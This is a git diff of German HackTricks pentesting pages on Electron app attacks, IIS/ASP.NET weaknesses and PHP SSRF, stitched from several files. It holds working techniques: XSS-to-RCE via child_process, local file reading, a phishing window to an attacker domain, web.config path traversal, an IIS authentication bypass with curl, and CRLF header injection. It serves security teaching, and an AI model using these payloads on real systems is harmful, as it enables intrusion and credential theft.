||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,39 +1,26 @@
|
|||
# Electron Desktop Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Account-Übernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Einführung
|
||||
|
||||
Electron kombiniert ein lokales Backend (mit **NodeJS**) und ein Frontend (**Chromium**), obwohl es einige der Sicherheitsmechanismen moderner Browser vermissen lässt.
|
||||
|
||||
Normalerweise findest du den Code der Electron-App in einer `.asar`-Anwendung. Um den Code zu erhalten, musst du ihn extrahieren:
|
||||
Normalerweise finden Sie den Electron-App-Code in einer `.asar`-Anwendung. Um den Code zu erhalten, müssen Sie ihn extrahieren:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
|
@ -59,14 +46,14 @@ let win = new BrowserWindow();
|
|||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`);
|
||||
```
|
||||
Die Einstellungen des **Renderer-Prozesses** können im **Hauptprozess** in der Datei main.js **konfiguriert** werden. Einige der Konfigurationen werden **verhindern, dass die Electron-Anwendung RCE** oder andere Schwachstellen hat, wenn die **Einstellungen korrekt konfiguriert** sind.
|
||||
Die Einstellungen des **Renderer-Prozesses** können im **Hauptprozess** in der main.js-Datei **konfiguriert** werden. Einige der Konfigurationen werden **verhindern, dass die Electron-Anwendung RCE** oder andere Schwachstellen hat, wenn die **Einstellungen korrekt konfiguriert** sind.
|
||||
|
||||
Die Electron-Anwendung **könnte auf das Gerät zugreifen** über Node-APIs, obwohl sie so konfiguriert werden kann, dass dies verhindert wird:
|
||||
|
||||
* **`nodeIntegration`** - ist standardmäßig `aus`. Wenn es aktiviert ist, ermöglicht es den Zugriff auf Node-Funktionen vom Renderer-Prozess.
|
||||
* **`contextIsolation`** - ist standardmäßig `ein`. Wenn es deaktiviert ist, sind Haupt- und Renderer-Prozesse nicht isoliert.
|
||||
* **`preload`** - standardmäßig leer.
|
||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ist standardmäßig deaktiviert. Es wird die Aktionen einschränken, die NodeJS ausführen kann.
|
||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ist standardmäßig aus. Es wird die Aktionen einschränken, die NodeJS ausführen kann.
|
||||
* Node-Integration in Workern
|
||||
* **`nodeIntegrationInSubframes`** - ist standardmäßig `aus`.
|
||||
* Wenn **`nodeIntegration`** **aktiviert** ist, würde dies die Verwendung von **Node.js-APIs** in Webseiten ermöglichen, die in **iframes** innerhalb einer Electron-Anwendung **geladen** werden.
|
||||
|
@ -126,7 +113,7 @@ Wenn Sie eine Electron-App lokal ausführen können, ist es möglich, dass Sie s
|
|||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Wenn **nodeIntegration** auf **ein** gesetzt ist, kann das JavaScript einer Webseite die Node.js-Funktionen einfach nutzen, indem es `require()` aufruft. Zum Beispiel ist der Weg, die Calc-Anwendung unter Windows auszuführen:
|
||||
Wenn **nodeIntegration** auf **ein** gesetzt ist, kann der JavaScript-Code einer Webseite die Node.js-Funktionen einfach durch Aufrufen von `require()` nutzen. Zum Beispiel ist der Weg, die Calc-Anwendung unter Windows auszuführen:
|
||||
```html
|
||||
<script>
|
||||
require('child_process').exec('calc');
|
||||
|
@ -180,11 +167,11 @@ Die _**contextIsolation**_ führt die **getrennten Kontexte zwischen den Webseit
|
|||
Wenn die Kontexte nicht isoliert sind, kann ein Angreifer:
|
||||
|
||||
1. **Willkürliches JavaScript im Renderer ausführen** (XSS oder Navigation zu externen Seiten)
|
||||
2. **Die integrierte Methode überschreiben**, die im Preload oder im internen Code von Electron verwendet wird, um eine eigene Funktion zu erstellen
|
||||
2. **Die eingebaute Methode überschreiben**, die im Preload oder im internen Code von Electron verwendet wird, um eine eigene Funktion zu erstellen
|
||||
3. **Die Verwendung der überschriebenen Funktion auslösen**
|
||||
4. RCE?
|
||||
|
||||
Es gibt 2 Stellen, an denen integrierte Methoden überschrieben werden können: Im Preload-Code oder im internen Code von Electron:
|
||||
Es gibt 2 Stellen, an denen eingebaute Methoden überschrieben werden können: Im Preload-Code oder im internen Code von Electron:
|
||||
|
||||
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
|
||||
[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
|
||||
|
@ -223,7 +210,7 @@ Diese Listener werden **vom Desktop-Anwendung überschrieben**, um ihre eigene *
|
|||
|
||||
![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (963).png>)
|
||||
|
||||
Die besten Sicherheitspraktiken für Electron JS raten davon ab, untrusted Inhalte mit der Funktion `openExternal` zu akzeptieren, da dies zu RCE durch verschiedene Protokolle führen könnte. Betriebssysteme unterstützen unterschiedliche Protokolle, die RCE auslösen könnten. Für detaillierte Beispiele und weitere Erklärungen zu diesem Thema kann man [diese Ressource](https://positive.security/blog/url-open-rce#windows-10-19042) konsultieren, die Beispiele für Windows-Protokolle enthält, die diese Schwachstelle ausnutzen können.
|
||||
Die Sicherheitsbest Practices von Electron JS raten davon ab, untrusted Inhalte mit der Funktion `openExternal` zu akzeptieren, da dies zu RCE durch verschiedene Protokolle führen könnte. Betriebssysteme unterstützen unterschiedliche Protokolle, die RCE auslösen könnten. Für detaillierte Beispiele und weitere Erklärungen zu diesem Thema kann man auf [diese Ressource](https://positive.security/blog/url-open-rce#windows-10-19042) verweisen, die Windows-Protokollexemplare enthält, die diese Schwachstelle ausnutzen können.
|
||||
|
||||
**Beispiele für Windows-Protokoll-Exploits sind:**
|
||||
```html
|
||||
|
@ -254,12 +241,12 @@ Darüber hinaus wird eine weitere Methode zum **Lesen einer internen Datei** get
|
|||
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
|
||||
</script>
|
||||
```
|
||||
## **RCE: XSS + Alte Chromium-Version**
|
||||
## **RCE: XSS + Alte Chromium**
|
||||
|
||||
Wenn die **chromium**, die von der Anwendung verwendet wird, **alt** ist und es **bekannte** **Sicherheitsanfälligkeiten** gibt, könnte es möglich sein, sie zu **nutzen und RCE über ein XSS zu erhalten**.\
|
||||
Wenn die **chromium**, die von der Anwendung verwendet wird, **alt** ist und es **bekannte** **Schwachstellen** gibt, könnte es möglich sein, sie zu **nutzen und RCE über ein XSS zu erhalten**.\
|
||||
Siehe ein Beispiel in diesem **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS-Phishing über internen URL-Regulärausdruck-Bypass**
|
||||
## **XSS Phishing über interne URL regex Umgehung**
|
||||
|
||||
Angenommen, Sie haben ein XSS gefunden, aber Sie **können RCE nicht auslösen oder interne Dateien stehlen**, könnten Sie versuchen, es zu **nutzen, um Anmeldeinformationen über Phishing zu stehlen**.
|
||||
|
||||
|
@ -270,7 +257,7 @@ webContents.on("will-navigate", function (event, url) {} // o
|
|||
```
|
||||
Der Aufruf von **`openInternally`** entscheidet, ob der **Link** im **Desktop-Fenster** geöffnet wird, da es sich um einen Link handelt, der zur Plattform gehört, **oder** ob er im **Browser als 3rd Party-Ressource** geöffnet wird.
|
||||
|
||||
Falls der **Regex**, der von der Funktion verwendet wird, **anfällig für Umgehungen** ist (zum Beispiel durch **das Nicht-Entkommen der Punkte von Subdomains**), könnte ein Angreifer das XSS ausnutzen, um **ein neues Fenster zu öffnen, das** sich in der Infrastruktur des Angreifers befindet und **den Benutzer nach Anmeldeinformationen** fragt:
|
||||
Falls der **Regex**, der von der Funktion verwendet wird, **anfällig für Umgehungen** ist (zum Beispiel durch **das Nicht-Entkommen der Punkte von Subdomains**), könnte ein Angreifer das XSS ausnutzen, um **ein neues Fenster zu öffnen, das** sich in der Infrastruktur des Angreifers befindet und **den Benutzer nach Anmeldeinformationen fragt**:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
|
@ -317,32 +304,20 @@ npm start
|
|||
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
|
||||
* Weitere Recherchen und Berichte über die Sicherheit von Electron finden Sie unter [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
* Weitere Recherchen und Berichte über die Sicherheit von Electron in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **stealer malwares** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks unterstützen</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,20 +15,6 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
Testen Sie ausführbare Dateierweiterungen:
|
||||
|
||||
* asp
|
||||
|
@ -98,7 +84,7 @@ Ein Beispiel für den Zugriff auf die **web.config**-Datei ist unten dargestellt
|
|||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
Diese Anfrage zeigt verschiedene Einstellungen und Abhängigkeiten, wie zum Beispiel:
|
||||
Diese Anfrage offenbart verschiedene Einstellungen und Abhängigkeiten, wie zum Beispiel:
|
||||
|
||||
* **EntityFramework**-Version
|
||||
* **AppSettings** für Webseiten, Client-Validierung und JavaScript
|
||||
|
@ -215,10 +201,10 @@ Wenn Sie einen Fehler wie den folgenden sehen:
|
|||
|
||||
![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
Bedeutet das, dass der Server **den korrekten Domainnamen** im Host-Header **nicht erhalten hat**.\
|
||||
Um auf die Webseite zuzugreifen, könnten Sie das bereitgestellte **SSL-Zertifikat** überprüfen und vielleicht finden Sie dort den Domain-/Subdomainnamen. Wenn er dort nicht vorhanden ist, müssen Sie möglicherweise **VHosts brute forcen**, bis Sie den richtigen finden.
|
||||
bedeutet das, dass der Server **den korrekten Domainnamen** im Host-Header **nicht erhalten hat**.\
|
||||
Um auf die Webseite zuzugreifen, könnten Sie das **SSL-Zertifikat** überprüfen und vielleicht finden Sie dort den Domain-/Subdomainnamen. Wenn er dort nicht vorhanden ist, müssen Sie möglicherweise **VHosts brute forcen**, bis Sie den richtigen finden.
|
||||
|
||||
## Alte IIS-Sicherheitsanfälligkeiten, nach denen es sich zu suchen lohnt
|
||||
## Alte IIS-Sicherheitsanfälligkeiten, nach denen man suchen sollte
|
||||
|
||||
### Microsoft IIS Tilde-Zeichen “\~” Sicherheitsanfälligkeit/Funktion – Offenlegung kurzer Datei-/Ordnernamen
|
||||
|
||||
|
@ -239,13 +225,13 @@ Sie können auch **metasploit** verwenden: `use scanner/http/iis_shortname_scann
|
|||
|
||||
Sie können versuchen, diese **Sicherheitsanfälligkeit** mit der letzten zu **kombinieren**, um neue **Ordner** zu finden und die Authentifizierung zu **umgehen**.
|
||||
|
||||
## ASP.NET Trace.AXD aktivierte Fehlersuche
|
||||
## ASP.NET Trace.AXD aktiviertes Debugging
|
||||
|
||||
ASP.NET enthält einen Fehlermodus, und die Datei heißt `trace.axd`.
|
||||
ASP.NET enthält einen Debugging-Modus, und die Datei heißt `trace.axd`.
|
||||
|
||||
Sie führt ein sehr detailliertes Protokoll aller Anfragen, die über einen bestimmten Zeitraum an eine Anwendung gestellt wurden.
|
||||
|
||||
Diese Informationen umfassen IPs von Remote-Clients, Sitzungs-IDs, alle Anforderungs- und Antwort-Cookies, physische Pfade, Quellcodeinformationen und möglicherweise sogar Benutzernamen und Passwörter.
|
||||
Diese Informationen umfassen die IPs der Remote-Clients, Sitzungs-IDs, alle Anforderungs- und Antwort-Cookies, physische Pfade, Quellcodeinformationen und möglicherweise sogar Benutzernamen und Passwörter.
|
||||
|
||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||||
|
||||
|
@ -285,29 +271,17 @@ HTTP/1.1 401 Unauthorized
|
|||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||
HTTP/1.1 200 OK
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen anbietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -6,35 +6,27 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### SSRF PHP-Funktionen
|
||||
|
||||
Einige Funktionen wie **file\_get\_contents(), fopen(), file(), md5\_file()** akzeptieren URLs als Eingabe, denen sie folgen, was **mögliche SSRF-Schwachstellen** schafft, wenn der Benutzer die Daten kontrollieren kann:
|
||||
Einige Funktionen wie **file\_get\_contents(), fopen(), file(), md5\_file()** akzeptieren URLs als Eingabe, denen sie folgen, was **mögliche SSRF-Schwachstellen** zur Folge hat, wenn der Benutzer die Daten kontrollieren kann:
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
file("http://127.0.0.1:8081");
|
||||
md5_file("http://127.0.0.1:8081");
|
||||
```
|
||||
### Wordpress SSRF über DNS Rebinding
|
||||
### Wordpress SSRF über DNS-Rebinding
|
||||
|
||||
Wie [**in diesem Blogbeitrag erklärt**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), ist sogar die Wordpress-Funktion **`wp_safe_remote_get`** anfällig für DNS Rebinding, was sie potenziell anfällig für SSRF-Angriffe macht. Die Hauptvalidierung, die sie aufruft, ist **wp\_http\_validate\_url**, die überprüft, dass das Protokoll `http://` oder `https://` ist und dass der Port einer von **80**, **443** und **8080** ist, aber sie ist **anfällig für DNS Rebinding**.
|
||||
Wie [**in diesem Blogbeitrag erklärt**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), ist sogar die Wordpress-Funktion **`wp_safe_remote_get`** anfällig für DNS-Rebinding, was sie potenziell anfällig für SSRF-Angriffe macht. Die Hauptvalidierung, die sie aufruft, ist **wp\_http\_validate\_url**, die überprüft, dass das Protokoll `http://` oder `https://` ist und dass der Port einer von **80**, **443** und **8080** ist, aber sie ist **anfällig für DNS-Rebinding**.
|
||||
|
||||
Andere anfällige Funktionen laut dem Beitrag sind:
|
||||
|
||||
|
@ -48,7 +40,7 @@ Andere anfällige Funktionen laut dem Beitrag sind:
|
|||
|
||||
### CRLF
|
||||
|
||||
Darüber hinaus könnte es in einigen Fällen sogar möglich sein, beliebige Header über CRLF "Schwachstellen" in den vorherigen Funktionen zu senden:
|
||||
Darüber hinaus könnte es in einigen Fällen sogar möglich sein, beliebige Header über CRLF-"Schwachstellen" in den vorherigen Funktionen zu senden:
|
||||
```php
|
||||
# The following will create a header called from with value Hi and
|
||||
# an extra header "Injected: I HAVE IT"
|
||||
|
@ -83,19 +75,13 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
